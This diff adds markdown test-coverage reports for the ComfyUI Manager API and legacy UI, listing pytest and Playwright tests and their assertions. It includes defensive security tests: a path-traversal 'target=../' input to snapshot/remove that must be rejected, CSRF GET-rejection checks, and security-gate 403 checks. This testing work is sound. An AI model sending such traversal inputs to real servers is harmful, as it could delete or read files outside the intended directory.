attribution with specs. CI runner updated in `.github/workflows/e2e.yml` to
|
||||
point at the new path.
|
||||
|
||||
## tests/e2e/test_e2e_config_api.py (10 tests)
|
||||
|
||||
Covers GET/POST round-trip on configuration endpoints.
|
||||
|
||||
| Test | Endpoint(s) | Scenario | Assertion semantics |
|
||||
|---|---|---|---|
|
||||
| `TestConfigDbMode::test_read_db_mode` | GET db_mode | Read current value | text in {cache, channel, local, remote} |
|
||||
| `TestConfigDbMode::test_set_and_restore_db_mode` | GET/POST db_mode | Set→read-back→restore | POST 200 + verify echo + restore verified |
|
||||
| `TestConfigDbMode::test_set_db_mode_invalid_body` | POST db_mode | Malformed JSON | 400 |
|
||||
| `TestConfigUpdatePolicy::test_read_update_policy` | GET policy/update | Read current policy | text in {stable, stable-comfyui, nightly, nightly-comfyui} |
|
||||
| `TestConfigUpdatePolicy::test_set_and_restore_update_policy` | GET/POST policy/update | Set→read-back→restore | Round-trip verification |
|
||||
| `TestConfigUpdatePolicy::test_set_policy_invalid_body` | POST policy/update | Malformed JSON | 400 |
|
||||
| `TestConfigChannelUrlList::test_read_channel_url_list` | GET channel_url_list | Response shape | has `selected` (str) + `list` (array) |
|
||||
| `TestConfigChannelUrlList::test_channel_list_entries_are_name_url_strings` | GET channel_url_list | Entry format | each entry is "name::url" string |
|
||||
| `TestConfigChannelUrlList::test_set_and_restore_channel` | GET/POST channel_url_list | Switch channel + restore | Verify `selected` matches set value |
|
||||
| `TestConfigChannelUrlList::test_set_channel_invalid_body` | POST channel_url_list | Malformed JSON | 400 |
|
||||
|
||||
## tests/e2e/test_e2e_customnode_info.py (11 tests)
|
||||
|
||||
Covers custom node info/mapping endpoints.
|
||||
|
||||
| Test | Endpoint(s) | Scenario | Assertion semantics |
|
||||
|---|---|---|---|
|
||||
| `TestCustomNodeMappings::test_getmappings_returns_dict` | GET customnode/getmappings?mode=local | Success response | 200 + dict |
|
||||
| `TestCustomNodeMappings::test_getmappings_entries_have_node_lists` | GET getmappings | Entry structure | each value is `[node_list, metadata]` |
|
||||
| `TestFetchUpdates::test_fetch_updates_returns_deprecated` | GET customnode/fetch_updates | Deprecated endpoint | 410 + `deprecated: true` |
|
||||
| `TestInstalledPacks::test_installed_returns_dict` | GET customnode/installed | Success | 200 + dict |
|
||||
| `TestInstalledPacks::test_installed_imported_mode` | GET installed?mode=imported | Startup snapshot | 200 + dict |
|
||||
| `TestImportFailInfo::test_unknown_cnr_id_returns_400` | POST import_fail_info | Unknown pack | 400 |
|
||||
| `TestImportFailInfo::test_missing_fields_returns_400` | POST import_fail_info | Missing cnr_id+url | 400 |
|
||||
| `TestImportFailInfo::test_invalid_body_returns_error` | POST import_fail_info | Non-dict body | 400 |
|
||||
| `TestImportFailInfoBulk::test_bulk_with_cnr_ids_returns_dict` | POST import_fail_info_bulk | cnr_ids list | 200 + null for unknown |
|
||||
| `TestImportFailInfoBulk::test_bulk_empty_lists_returns_400` | POST import_fail_info_bulk | Empty cnr_ids+urls | 400 |
|
||||
| `TestImportFailInfoBulk::test_bulk_with_urls_returns_dict` | POST import_fail_info_bulk | urls list | 200 + dict |
|
||||
|
||||
## tests/e2e/test_e2e_queue_lifecycle.py (9 tests)
|
||||
|
||||
Covers the queue management lifecycle.
|
||||
|
||||
| Test | Endpoint(s) | Scenario | Assertion semantics |
|
||||
|---|---|---|---|
|
||||
| `TestQueueLifecycle::test_reset_queue` | POST queue/reset | Empty the queue | 200 |
|
||||
| `TestQueueLifecycle::test_status_after_reset` | GET queue/status | Post-reset state | all counts 0, is_processing bool |
|
||||
| `TestQueueLifecycle::test_status_with_client_id_filter` | GET queue/status?client_id=X | Client filter | response echoes client_id |
|
||||
| `TestQueueLifecycle::test_start_queue_already_idle` | POST queue/start | Idle worker start | status in {200, 201} |
|
||||
| `TestQueueLifecycle::test_queue_task_and_history` | POST queue/task + queue/start + GET queue/status + GET queue/history | Full lifecycle | done_count>0 polled, history 200 or 400 |
|
||||
| `TestQueueLifecycle::test_history_with_ui_id_filter` | GET queue/history?ui_id=X | Filter history | 200 or 400 (serialization-limit) |
|
||||
| `TestQueueLifecycle::test_history_with_pagination` | GET queue/history?max_items=1&offset=0 | Pagination | 200 or 400 |
|
||||
| `TestQueueLifecycle::test_history_list` | GET queue/history_list | List batch IDs | 200 + `ids` list |
|
||||
| `TestQueueLifecycle::test_final_reset_and_clean_state` | POST queue/reset + GET queue/status | Cleanup | pending_count==0 |
|
||||
|
||||
## tests/e2e/test_e2e_snapshot_lifecycle.py (7 tests)
|
||||
|
||||
Covers snapshot save/list/remove cycle.
|
||||
|
||||
| Test | Endpoint(s) | Scenario | Assertion semantics |
|
||||
|---|---|---|---|
|
||||
| `TestSnapshotLifecycle::test_get_current_snapshot` | GET snapshot/get_current | Current state dict | 200 + dict |
|
||||
| `TestSnapshotLifecycle::test_save_snapshot` | POST snapshot/save | Save new snapshot | 200 |
|
||||
| `TestSnapshotLifecycle::test_getlist_after_save` | GET snapshot/getlist | List contains new snapshot | items.length > 0 |
|
||||
| `TestSnapshotLifecycle::test_remove_snapshot` | POST snapshot/remove?target=X + GET getlist | Remove + verify | target absent + count decremented |
|
||||
| `TestSnapshotLifecycle::test_remove_nonexistent_snapshot` | POST snapshot/remove | Nonexistent target | 200 (no-op) |
|
||||
| `TestSnapshotLifecycle::test_remove_path_traversal_rejected` | POST snapshot/remove?target=../... | Path-traversal targets must be rejected | 400 + sentinel file outside snapshot dir preserved (SR3) |
|
||||
| `TestSnapshotGetCurrentSchema::test_getlist_items_are_strings` | GET snapshot/getlist | Items shape | each item is string |
|
||||
|
||||
> Note: `POST /v2/snapshot/restore` intentionally NOT tested (destructive).
|
||||
|
||||
## tests/e2e/test_e2e_system_info.py (4 tests)
|
||||
|
||||
Covers system-level endpoints (version, legacy UI flag, reboot).
|
||||
|
||||
| Test | Endpoint(s) | Scenario | Assertion semantics |
|
||||
|---|---|---|---|
|
||||
| `TestManagerVersion::test_version_returns_string` | GET manager/version | Non-empty string | 200 + len>0 |
|
||||
| `TestManagerVersion::test_version_is_stable` | GET manager/version x2 | Idempotency | consecutive calls return same value |
|
||||
| `TestIsLegacyManagerUI::test_returns_boolean_field` | GET is_legacy_manager_ui | Response shape | `{is_legacy_manager_ui: bool}` |
|
||||
| `TestReboot::test_reboot_and_recovery` | POST manager/reboot + GET version | Restart + recovery | 200 or 403 (security); server polls healthy; version unchanged |
|
||||
|
||||
## tests/e2e/test_e2e_task_operations.py (16 tests)
|
||||
|
||||
Covers queue/task operations for kinds NOT tested in test_e2e_endpoint.py.
|
||||
|
||||
| Test | Endpoint(s) | Scenario | Assertion semantics |
|
||||
|---|---|---|---|
|
||||
| `TestDisableEnable::test_disable_pack` | POST queue/task kind=disable | Disable moves pack to .disabled/ | pack dir gone + .disabled/ entry present |
|
||||
| `TestDisableEnable::test_enable_pack` | POST queue/task kind=enable | Enable restores pack | pack dir present + .disabled/ entry gone |
|
||||
| `TestDisableEnable::test_disable_enable_cycle` | queue/task x2 | Full disable→enable | Both transitions verified |
|
||||
| `TestUpdatePack::test_update_installed_pack` | POST queue/task kind=update | Update pack | pack still exists after update |
|
||||
| `TestUpdatePack::test_update_history_recorded` | GET queue/history?ui_id=X | History has update entry | 200 or 400 (serialization-limit) |
|
||||
| `TestFixPack::test_fix_installed_pack` | POST queue/task kind=fix | Fix pack | pack still exists |
|
||||
| `TestFixPack::test_fix_history_recorded` | GET queue/history?ui_id=X | History has fix entry | 200 or 400 |
|
||||
| `TestInstallModel::test_install_model_accepts_valid_request` | POST queue/install_model | Valid model request | 200 (reset queue after) |
|
||||
| `TestInstallModel::test_install_model_missing_client_id` | POST queue/install_model | Missing client_id | 400 |
|
||||
| `TestInstallModel::test_install_model_missing_ui_id` | POST queue/install_model | Missing ui_id | 400 |
|
||||
| `TestInstallModel::test_install_model_invalid_body` | POST queue/install_model | Invalid metadata | 400 |
|
||||
| `TestUpdateAll::test_update_all_queues_tasks` | POST queue/update_all | Queue all update tasks | 200/403 or tolerated ReadTimeout |
|
||||
| `TestUpdateAll::test_update_all_missing_params` | POST queue/update_all | Missing params | 400 ValidationError |
|
||||
| `TestUpdateComfyUI::test_update_comfyui_queues_task` | POST queue/update_comfyui | Queue task | 200 + total_count>=1 after |
|
||||
| `TestUpdateComfyUI::test_update_comfyui_missing_params` | POST queue/update_comfyui | Missing params | 400 |
|
||||
| `TestUpdateComfyUI::test_update_comfyui_with_stable_flag` | POST queue/update_comfyui?stable=true | Explicit stable flag | 200 |
|
||||
|
||||
## tests/e2e/test_e2e_version_mgmt.py (7 tests)
|
||||
|
||||
Covers comfyui_versions + comfyui_switch_version endpoints.
|
||||
|
||||
| Test | Endpoint(s) | Scenario | Assertion semantics |
|
||||
|---|---|---|---|
|
||||
| `TestComfyUIVersions::test_versions_endpoint` | GET comfyui_versions | Response shape | `{versions: list, current: str}` |
|
||||
| `TestComfyUIVersions::test_versions_list_not_empty` | GET comfyui_versions | Non-empty list | len>0 |
|
||||
| `TestComfyUIVersions::test_versions_items_are_strings` | GET comfyui_versions | Item type | each version is string |
|
||||
| `TestComfyUIVersions::test_current_is_in_versions` | GET comfyui_versions | Current in list | current appears in versions |
|
||||
| `TestSwitchVersionNegative::test_switch_version_missing_all_params` | POST comfyui_switch_version | No params | 400 or 403 |
|
||||
| `TestSwitchVersionNegative::test_switch_version_missing_client_id` | POST comfyui_switch_version?ver=X | Partial params | 400 or 403 |
|
||||
| `TestSwitchVersionNegative::test_switch_version_validation_error_body` | POST comfyui_switch_version | Error body shape | `error` field present (when 400 JSON) |
|
||||
|
||||
> Note: Actual version switching (destructive) intentionally NOT tested.
|
||||
|
||||
---
|
||||
|
||||
## tests/e2e/test_e2e_csrf.py (4 test functions / 26 parametrized invocations — post-WI-HH)
|
||||
|
||||
Covers the CSRF-mitigation contract from commit 99caef55 — state-changing
|
||||
endpoints must reject HTTP GET so that `<img src>` / link-click /
|
||||
redirect-based cross-origin triggers cannot mutate server state.
|
||||
|
||||
**Scope (per docstring)**: ONLY the GET-rejection contract. NOT covered
|
||||
here: Origin/Referer validation (separate middleware), same-site cookies,
|
||||
anti-CSRF tokens, cross-site form POST.
|
||||
|
||||
| Test | Endpoint(s) | Scenario | Assertion semantics |
|
||||
|---|---|---|---|
|
||||
| `TestStateChangingEndpointsRejectGet::test_get_is_rejected[path]` | 13 POST endpoints (queue/start, queue/reset, queue/update_all, queue/update_comfyui, queue/install_model, queue/task, snapshot/save, snapshot/remove, snapshot/restore, manager/reboot, comfyui_switch_version, import_fail_info, import_fail_info_bulk — WI-HH removed db_mode, policy/update, channel_url_list from this list since they legitimately answer GET on the read-path) | GET must reject | status_code in (400,403,404,405); explicit `not in 200-399` guard |
|
||||
| `TestCsrfPostWorks::test_queue_reset_post_works` | POST queue/reset | POST counterpart works | status_code == 200 |
|
||||
| `TestCsrfPostWorks::test_snapshot_save_post_works` | POST snapshot/save + cleanup via getlist+remove | POST counterpart works | status_code == 200; cleanup |
|
||||
| `TestCsrfReadEndpointsStillAllowGet::test_get_read_endpoint_succeeds[path]` | 11 GET endpoints (version, db_mode, policy/update, channel_url_list, queue/status, queue/history_list, is_legacy_manager_ui, customnode/installed, snapshot/getlist, snapshot/get_current, comfyui_versions) | Negative control: read-only still works | status_code == 200 |
|
||||
|
||||
> Note: Three endpoints (`db_mode`, `policy/update`, `channel_url_list`) appear in BOTH reject-GET (POST path, write) and allow-GET (read path) lists — commit 99caef55 split each into a GET-read + POST-write pair; the POST path must reject GET while the GET path must continue to succeed.
|
||||
|
||||
---
|
||||
|
||||
## tests/e2e/test_e2e_csrf_legacy.py (4 test functions / 26 parametrized invocations)
|
||||
|
||||
Legacy-mode counterpart to `test_e2e_csrf.py`. Verifies the same CSRF
|
||||
method-rejection contract but against the legacy server module loaded
|
||||
via `--enable-manager-legacy-ui`. Added in WI-FF (commit following
|
||||
99caef55) to close the legacy-side regression-guard gap. Audit-integrated
|
||||
in WI-GG.
|
||||
|
||||
**Why a separate file** (per docstring L7–13): `comfyui_manager/__init__.py`
|
||||
loads `glob.manager_server` XOR `legacy.manager_server` via mutex on the
|
||||
`--enable-manager-legacy-ui` flag. One ComfyUI process exposes either the
|
||||
glob or the legacy route table, never both — so verifying the legacy
|
||||
CSRF contract requires its own module-scoped server lifecycle with the
|
||||
legacy flag set (via `start_comfyui_legacy.sh`).
|
||||
|
||||
**Scope (per docstring L44–48)**: Same as `test_e2e_csrf.py` — ONLY the
|
||||
method-reject layer. Origin/Referer, same-site cookies, anti-CSRF tokens,
|
||||
and cross-site form POST are out of scope.
|
||||
|
||||
| Test | Endpoint(s) | Scenario | Assertion semantics |
|
||||
|---|---|---|---|
|
||||
| `TestLegacyStateChangingEndpointsRejectGet::test_get_is_rejected[path]` | 13 POST endpoints (queue/start, queue/reset, queue/update_all, queue/update_comfyui, queue/install_model, **queue/batch** (legacy; replaces queue/task), snapshot/save, snapshot/remove, snapshot/restore, manager/reboot, comfyui_switch_version, import_fail_info, import_fail_info_bulk) | GET must reject under legacy server | status_code in (400,403,404,405); explicit `not in 200-399` guard |
|
||||
| `TestLegacyCsrfPostWorks::test_queue_reset_post_works` | POST queue/reset (legacy) | POST counterpart works under legacy server | status_code == 200 |
|
||||
| `TestLegacyCsrfPostWorks::test_snapshot_save_post_works` | POST snapshot/save + cleanup via getlist+remove (legacy) | POST counterpart works + cleanup | status_code == 200; cleanup |
|
||||
| `TestLegacyCsrfReadEndpointsStillAllowGet::test_get_read_endpoint_succeeds[path]` | 11 GET endpoints (version, db_mode, policy/update, channel_url_list, queue/status, queue/history_list, is_legacy_manager_ui, customnode/installed, snapshot/getlist, snapshot/get_current, comfyui_versions) | Negative control: legacy read-only still works | status_code == 200 |
|
||||
|
||||
> **Endpoint-list deltas vs glob** (per docstring L23–36):
|
||||
> - `queue/task` → dropped (glob-only); `queue/batch` → added (legacy task-enqueue equivalent)
|
||||
> - `db_mode`, `policy/update`, `channel_url_list` → dropped from reject-GET (CSRF contract applies only to the POST write-path; legacy splits these into `@routes.get` read + `@routes.post` write, identical to glob). These 3 remain in the ALLOW-GET class above. (The glob `test_e2e_csrf.py` lists them in BOTH classes; WI-HH tracks the glob-side correction.)
|
||||
|
||||
---
|
||||
|
||||
## tests/e2e/test_e2e_secgate_strict.py (1 test active + 1 skipped; WI-KK PoC, WI-LL audit-integrated)
|
||||
|
||||
Strict-mode security-gate PoC. Covers the middle/middle+ gate 403 contract for
|
||||
Goals that require elevating `security_level=strong`. Launches via
|
||||
`start_comfyui_strict.sh` (which patches `user/__manager/config.ini` to
|
||||
`security_level=strong`, leaves a `.before-strict` backup, and starts the server
|
||||
on the E2E port) and restores the original config in the fixture teardown.
|
||||
|
||||
**Scope (per docstring L3–9)**: strict-mode 403 path for the middle/middle+
|
||||
gates. The default E2E config (`security_level=normal`, `is_local_mode=True`)
|
||||
puts NORMAL inside the allowed set for both gates per
|
||||
`comfyui_manager/glob/utils/security_utils.py` L32–38, so this harness is the
|
||||
only way to exercise the 403 side. This is the first of 4 planned Goals
|
||||
(SR4 ← here; SR6, V5, UA2 ← mechanical additions using the same fixture).
|
||||
|
||||
| Test | Endpoint(s) | Scenario | Assertion semantics |
|
||||
|---|---|---|---|
|
||||
| `TestSecurityGate403_SR4::test_remove_returns_403` | POST `/v2/snapshot/remove?target=…` (under security_level=strong) | Goal SR4 — snapshot/remove below `middle` | (a) `status_code == 403`; (b) the seeded snapshot file on disk is NOT deleted (negative-check per `verification_design.md` §7.3 Security Boundary Template). |
|
||||
| `TestSecurityGate403_SR4::test_post_works_at_default_after_restore` | (none — pytest.skip) | Positive counterpart of SR4 at default config | pytest.skip'd: deferred to `test_e2e_secgate_default.py` follow-up to avoid double-startup cost. Documents both halves of the gate contract. |
|
||||
|
||||
**Harness notes**:
|
||||
- **Teardown ordering** is contract-critical: stop server FIRST, then restore config (the server holds the config-file lock; restoring before stopping causes a re-snapshot race). Documented in the fixture's `finally` block.
|
||||
- Subsequent test modules continue to see `security_level=normal` because the backup restore happens deterministically in teardown.
|
||||
|
||||
## tests/e2e/test_e2e_secgate_default.py (1 test; WI-KK demo, WI-LL audit-integrated)
|
||||
|
||||
Default-mode security-gate demonstration. Covers the CV4 Goal (comfyui_switch_version
|
||||
`high+` gate 403 contract) without any harness, leveraging the WI-KK research
|
||||
finding that default `security_level=normal` + `is_local_mode=True` already
|
||||
triggers 403 for high+ operations at the HTTP handler. This is the cleanest of
|
||||
the 4 originally-classified-T2 high+ Goals to demonstrate the no-harness-needed
|
||||
insight.
|
||||
|
||||
**Scope (per docstring L1–18)**: only the CV4 Goal. The other 3 originally-T2
|
||||
high+ Goals are deferred with reclassification notes:
|
||||
- **IM4** → **T2-TASKLEVEL**: non-safetensors check lives deep in the install pipeline (worker + `get_risky_level`), not at the HTTP handler. POST `/v2/manager/queue/install_model` accepts the request and queues a task; rejection only surfaces at task execution. Requires a queue-observation pattern, not a simple HTTP 403 check.
|
||||
- **LGU2**, **LPP2** → **NORMAL-legacy**: registered ONLY in `legacy/manager_server.py` (L1502, L1522). Testing needs `start_comfyui_legacy.sh` fixture — follow-up `test_e2e_secgate_legacy_default.py` is the natural home.
|
||||
|
||||
| Test | Endpoint(s) | Scenario | Assertion semantics |
|
||||
|---|---|---|---|
|
||||
| `TestSecurityGate403_CV4::test_switch_version_returns_403_at_default` | POST `/v2/comfyui_manager/comfyui_switch_version` with `ver`, `client_id`, `ui_id` (at default security_level) | Goal CV4 — comfyui_switch_version below `high+` | `status_code == 403`. The `ver` query is syntactically valid so the request WOULD reach the Pydantic validation step IF the gate were broken; since the gate is the FIRST check in the handler, 403 must precede any 400-from-validation outcome. |
|
||||
|
||||
---
|
||||
|
||||
# Section 2 — Playwright UI Tests
|
||||
|
||||
All Playwright tests require ComfyUI running with `--enable-manager-legacy-ui` on PORT (default 8199).
|
||||
|
||||
## tests/playwright/legacy-ui-manager-menu.spec.ts (5 tests)
|
||||
|
||||
Covers the Manager Menu dialog and its settings dropdowns.
|
||||
|
||||
| Test | Endpoint(s) exercised | Scenario | Assertion semantics |
|
||||
|---|---|---|---|
|
||||
| `Manager Menu Dialog > opens via Manager button and shows 3-column layout` | (indirect: initial page + legacy UI detection) | Menu dialog opens | `#cm-manager-dialog` visible; "Custom Nodes Manager", "Model Manager", "Restart" buttons present |
|
||||
| `> shows settings dropdowns (DB, Channel, Policy)` | (UI) | DB + Policy combos render | Both `<select>` elements visible |
|
||||
| `> DB mode dropdown round-trips via API` | GET/POST db_mode | UI dropdown change → backend persists | selectOption → verify via GET → restore |
|
||||
| `> Update Policy dropdown round-trips via API` | GET/POST policy/update | Policy change via UI | selectOption → verify GET → restore |
|
||||
| `> closes and reopens without duplicating` | (UI only) | Dialog lifecycle | No duplicate dialog instances |
|
||||
|
||||
## tests/playwright/legacy-ui-custom-nodes.spec.ts (5 tests)
|
||||
|
||||
Covers the Custom Nodes Manager dialog (TurboGrid-based list).
|
||||
|
||||
| Test | Endpoint(s) exercised | Scenario | Assertion semantics |
|
||||
|---|---|---|---|
|
||||
| `Custom Nodes Manager > opens from Manager menu and renders grid` | GET customnode/getlist (legacy), customnode/getmappings | Grid render | `#cn-manager-dialog` + `.tg-body` visible |
|
||||
| `> loads custom node list (non-empty)` | GET customnode/getlist | Data load | rows > 0 after polling |
|
||||
| `> filter dropdown changes displayed nodes` | (client-side filter) | "Installed" filter | filtered count ≤ initial count |
|
||||
| `> search input filters the grid` | (client-side filter) | Search term | filtered count ≤ initial |
|
||||
| `> footer buttons are present` | (UI) | Install via Git URL / Restart buttons | At least one present |
|
||||
|
||||
## tests/playwright/legacy-ui-model-manager.spec.ts (4 tests)
|
||||
|
||||
Covers Model Manager dialog.
|
||||
|
||||
| Test | Endpoint(s) exercised | Scenario | Assertion semantics |
|
||||
|---|---|---|---|
|
||||
| `Model Manager > opens from Manager menu and renders grid` | GET externalmodel/getlist (legacy) | Grid render | `#cmm-manager-dialog` + grid visible |
|
||||
| `> loads model list (non-empty)` | GET externalmodel/getlist | Data load | rows > 0 |
|
||||
| `> search input filters the model grid` | (client-side filter) | Search | filtered ≤ initial |
|
||||
| `> filter dropdown is present with expected options` | (UI) | Filter options | options.length > 0 |
|
||||
|
||||
## tests/playwright/legacy-ui-snapshot.spec.ts (3 tests)
|
||||
|
||||
Covers Snapshot Manager dialog.
|
||||
|
||||
| Test | Endpoint(s) exercised | Scenario | Assertion semantics |
|
||||
|---|---|---|---|
|
||||
| `Snapshot Manager > opens snapshot manager from Manager menu` | (UI) | Dialog opens | `#snapshot-manager-dialog` present |
|
||||
| `> lists existing snapshots` | GET snapshot/getlist | List loads | resp.ok + `items` property |
|
||||
| `> save snapshot via API and verify in list` | POST snapshot/save + GET snapshot/getlist + POST snapshot/remove | Save→verify→cleanup | items.length > 0 after save; remove cleanup |
|
||||
|
||||
## tests/playwright/legacy-ui-navigation.spec.ts (2 tests)
|
||||
|
||||
Covers dialog navigation lifecycle. Stage2 WI-F deleted two prior tests (`API health check while dialogs are open`, `system endpoints accessible from browser context`) because they exercised `page.request.*` direct API calls with no real UI interaction — coverage is now owned by `test_e2e_system_info.py::test_version_*` and related pytest suites.
|
||||
|
||||
| Test | Endpoint(s) exercised | Scenario | Assertion semantics |
|
||||
|---|---|---|---|
|
||||
| `Dialog Navigation > Manager menu → Custom Nodes → close → Manager still visible` | (UI) | Nested dialog navigation | Manager menu reopens after child close |
|
||||
| `> Manager menu → Model Manager → close → reopen` | (UI) | Close and reopen Model Manager | Dialog reappears |
|
||||
|
||||
## tests/playwright/legacy-ui-install.spec.ts (2 tests)
|
||||
|
||||
Covers UI-driven install/uninstall effect verification against the test pack `ComfyUI_SigmoidOffsetScheduler`. Primary action is always a UI button click; `page.request` is used only for setup (queue/reset baseline, optional API pre-install in LB2) and effect-observation (queue/status polling, installed-list lookup) — consistent with the hybrid UI-action + backend-effect pattern in `legacy-ui-snapshot.spec.ts::SS1`.
|
||||
|
||||
| Test | Endpoint(s) exercised | Scenario | Assertion semantics |
|
||||
|---|---|---|---|
|
||||
| `UI-driven install/uninstall > LB1 Install button triggers install effect` | (UI) Custom Nodes Manager dialog → filter "Not Installed" → search pack → row Install button → version "Select" button; GET /v2/manager/queue/status (effect polling), GET /v2/customnode/installed (effect verification) | User initiates install from Custom Nodes dialog | `isPackInstalled === true` after queue drains via `waitForAllDone` |
|
||||
| `UI-driven install/uninstall > LB2 Uninstall button triggers uninstall effect` | (UI) Custom Nodes Manager dialog → filter "Installed" → search pack → row Uninstall button → optional confirm dialog; GET /v2/manager/queue/status, GET /v2/customnode/installed | User initiates uninstall from Custom Nodes dialog (preconditioned by API install if pack absent) | `isPackInstalled === false` after queue drains |
|
||||
|
||||
## tests/playwright/debug-install-flow.spec.ts (1 test)
|
||||
|
||||
Debug/instrumentation test — captures the install API flow for documentation.
|
||||
|
||||
| Test | Endpoint(s) exercised | Scenario | Assertion semantics |
|
||||
|---|---|---|---|
|
||||
| `capture install button API flow` | GET customnode/getlist, POST queue/batch (legacy), GET customnode/versions/{id}, WebSocket cm-queue-status | End-to-end install UI flow capture | No assertions — logs API sequence + WebSocket frames for manual review |
|
||||
|
||||
---
|
||||
|
||||
# Section 3 — Endpoint Coverage Summary
|
||||
|
||||
## Glob v2 endpoints covered (27/30)
|
||||
|
||||
| Endpoint | Covered by |
|
||||
|---|---|
|
||||
| POST queue/task (install) | test_e2e_endpoint, test_e2e_git_clone, test_e2e_task_operations |
|
||||
| POST queue/task (update/fix/disable/enable/uninstall) | test_e2e_endpoint, test_e2e_task_operations |
|
||||
| GET queue/history_list | test_e2e_queue_lifecycle |
|
||||
| GET queue/history | test_e2e_queue_lifecycle, test_e2e_task_operations |
|
||||
| GET customnode/getmappings | test_e2e_customnode_info |
|
||||
| GET customnode/fetch_updates | test_e2e_customnode_info (deprecated 410) |
|
||||
| POST queue/update_all | test_e2e_task_operations |
|
||||
| GET is_legacy_manager_ui | test_e2e_system_info, playwright legacy-ui-navigation |
|
||||
| GET customnode/installed | test_e2e_endpoint, test_e2e_customnode_info |
|
||||
| GET snapshot/getlist | test_e2e_snapshot_lifecycle, playwright legacy-ui-snapshot |
|
||||
| POST snapshot/remove | test_e2e_snapshot_lifecycle |
|
||||
| GET snapshot/get_current | test_e2e_snapshot_lifecycle |
|
||||
| POST snapshot/save | test_e2e_snapshot_lifecycle, playwright legacy-ui-snapshot |
|
||||
| POST customnode/import_fail_info | test_e2e_customnode_info |
|
||||
| POST customnode/import_fail_info_bulk | test_e2e_customnode_info |
|
||||
| POST queue/reset | test_e2e_queue_lifecycle, test_e2e_task_operations |
|
||||
| GET queue/status | test_e2e_queue_lifecycle, test_e2e_task_operations |
|
||||
| POST queue/start | test_e2e_endpoint, test_e2e_task_operations |
|
||||
| POST queue/update_comfyui | test_e2e_task_operations |
|
||||
| GET comfyui_versions | test_e2e_version_mgmt |
|
||||
| POST comfyui_switch_version | test_e2e_version_mgmt (negative only) |
|
||||
| POST queue/install_model | test_e2e_task_operations |
|
||||
| GET/POST db_mode | test_e2e_config_api, playwright legacy-ui-manager-menu |
|
||||
| GET/POST policy/update | test_e2e_config_api, playwright legacy-ui-manager-menu |
|
||||
| GET/POST channel_url_list | test_e2e_config_api |
|
||||
| POST manager/reboot | test_e2e_system_info |
|
||||
| GET manager/version | test_e2e_system_info, playwright legacy-ui-navigation |
|
||||
|
||||
## CSRF Method-Reject Contract
|
||||
|
||||
Separate from the positive-path coverage above, the 16 state-changing POST
|
||||
endpoints (glob) + 13 (legacy, with queue/batch substitution) plus 11
|
||||
read-only GET endpoints per server are independently verified for their
|
||||
CSRF-mitigation contract (commit 99caef55, CVSS 8.1). Coverage is split
|
||||
across two files because server loading is mutex on `--enable-manager-legacy-ui`:
|
||||
|
||||
**Glob server** — `tests/e2e/test_e2e_csrf.py`:
|
||||
|
||||
| Contract | Tests | Coverage |
|
||||
|---|---|---|
|
||||
| 13 POST endpoints must reject HTTP GET (glob; post-WI-HH) | TestStateChangingEndpointsRejectGet (parametrized ×13) | ✓ full |
|
||||
| POST counterparts must work (glob sanity) | TestCsrfPostWorks (queue/reset, snapshot/save) | ~ spot-check |
|
||||
| 11 read-only GET endpoints must still allow GET (glob negative control) | TestCsrfReadEndpointsStillAllowGet (parametrized ×11) | ✓ full |
|
||||
|
||||
**Legacy server** (WI-FF) — `tests/e2e/test_e2e_csrf_legacy.py`:
|
||||
|
||||
| Contract | Tests | Coverage |
|
||||
|---|---|---|
|
||||
| 13 POST endpoints must reject HTTP GET (legacy; queue/task→queue/batch; dual-purpose endpoints scoped to ALLOW-GET only) | TestLegacyStateChangingEndpointsRejectGet (parametrized ×13) | ✓ full |
|
||||
| POST counterparts must work (legacy sanity) | TestLegacyCsrfPostWorks (queue/reset, snapshot/save) | ~ spot-check |
|
||||
| 11 read-only GET endpoints must still allow GET (legacy negative control) | TestLegacyCsrfReadEndpointsStillAllowGet (parametrized ×11) | ✓ full |
|
||||
|
||||
Note: this contract is NEGATIVE-assertion (must-reject) + negative-control.
|
||||
Do NOT interpret CSRF-suite PASS as "CSRF fully solved" — both suites
|
||||
explicitly scope themselves to the method-conversion layer only. The
|
||||
legacy suite closes the gap where a reverted `@routes.post` → `@routes.get`
|
||||
in `legacy/manager_server.py` would have slipped past CI.
|
||||
|
||||
## Glob v2 endpoints NOT covered
|
||||
|
||||
| Endpoint | Reason |
|
||||
|---|---|
|
||||
| POST snapshot/restore | Intentionally skipped (destructive — alters node state) |
|
||||
| POST comfyui_switch_version (positive) | Intentionally skipped (destructive — alters ComfyUI version) |
|
||||
| (none otherwise missing) | — |
|
||||
|
||||
## Legacy-only endpoints covered
|
||||
|
||||
| Endpoint | Covered by |
|
||||
|---|---|
|
||||
| POST queue/batch | playwright debug-install-flow (indirect — triggered via Install UI) |
|
||||
| GET customnode/getlist | playwright legacy-ui-custom-nodes (indirect) |
|
||||
| GET externalmodel/getlist | playwright legacy-ui-model-manager (indirect) |
|
||||
|
||||
## Legacy-only endpoints NOT covered
|
||||
|
||||
| Endpoint | Reason |
|
||||
|---|---|
|
||||
| GET /customnode/alternatives | Not invoked by legacy UI flows tested |
|
||||
| GET customnode/versions/{node_name} | Tested indirectly via install version dialog (debug-install-flow) but no direct assertion |
|
||||
| GET customnode/disabled_versions/{node_name} | No direct test |
|
||||
| POST customnode/install/git_url | High+ security, destructive; not in UI flow |
|
||||
| POST customnode/install/pip | High+ security, destructive |
|
||||
| GET manager/notice | Removed in recent work; legacy only |
|
||||
|
||||
---
|
||||
*End of Report B*
|
||||
@@ -0,0 +1,629 @@
|
||||
# E2E Verification Condition Audit
|
||||
|
||||
**Generated**: 2026-04-18
|
||||
**Method**: For each E2E test function, compare its actual assertions against the required verification items from `verification_design.md`.
|
||||
|
||||
**Verdict categories**:
|
||||
- **✅ PASS** — verification adequate; matches design Goal
|
||||
- **⚠️ WEAK** — covers core but misses key assertions (effect proof, negative checks, side effects)
|
||||
- **❌ INADEQUATE** — verification insufficient (status-only, or missing the actual intent)
|
||||
- **N/A** — outside verification_design scope (e.g., CLI tests)
|
||||
|
||||
---
|
||||
|
||||
# Section 1 — tests/e2e/test_e2e_endpoint.py (4 tests)
|
||||
|
||||
| Test | Design Goal | Verdict | Actual assertions | Issues |
|
||||
|---|---|---|---|---|
|
||||
| `TestEndpointInstallUninstall::test_install_via_endpoint` | A1 (Install CNR pack) | ✅ PASS | `_pack_exists` + `_has_tracking` | Meets effect requirement |
|
||||
| `test_installed_list_shows_pack` | IL1 (Installed list current) | ✅ PASS | cnr_id match in response dict | Effect verified via API |
|
||||
